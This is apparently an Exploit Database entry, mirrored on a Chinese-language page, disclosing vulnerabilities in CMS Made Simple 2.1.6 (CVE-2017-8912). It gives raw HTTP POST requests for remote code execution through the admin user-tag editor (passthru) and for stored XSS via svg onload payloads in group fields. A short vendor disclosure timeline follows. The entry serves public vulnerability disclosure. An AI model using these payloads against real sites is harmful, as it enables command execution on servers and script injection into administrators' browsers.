CMS Made Simple 2.1.6 – Multiple Vulnerabilities

• Exploit Database
• 18 阅读

• 作者： Osanda Malith Jayathissa
  日期： 2017-05-10
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/41997/

• # Title: CMSMS 2.1.6 Multiple Vulnerabilities
  # Date:10-05-2017
  # Tested on: Windows 8 64-bit
  # Exploit Author:Osanda Malith Jayathissa (@OsandaMalith)
  # Original write-up: https://osandamalith.com/2017/05/11/cmsms-2-1-6-multiple-vulnerabilities/
  # CVE: CVE-2017-8912
  
  Remote Code Execution
  ======================
  
  POST /cmsms/admin/editusertag.php?_sk_=2a7da2216d41e0ac&userplugin_id=4 HTTP/1.1
  
  _sk_=2a7da2216d41e0ac&userplugin_id=4&userplugin_name=aaa&code=passthru('dir')%3B&description=&run=1&apply=1&ajax=1 
  
  
  Stored XSS 
  ==========
  
  POST /cmsms/admin/addgroup.php HTTP/1.1
  
  _sk_=92a32a8aaa87e958&group=%3Csvg%2Fonload%3Dalert%282%29%3E&description=%22%3E%3Csvg%2Fonload%3Dalert%283%29%3E&active=on&addgroup=true
  
  
  Disclosure Timeline
  ====================
  
  09-05-2017: Reported to the vendor
  09-05-2017: Vendor doesn't accept XSS issues inside admin panel and claimed the RCE as a feature, not a bug :)
  10-05-2017: Public disclosure
  11-05-2017: Assigned CVE-2017-8912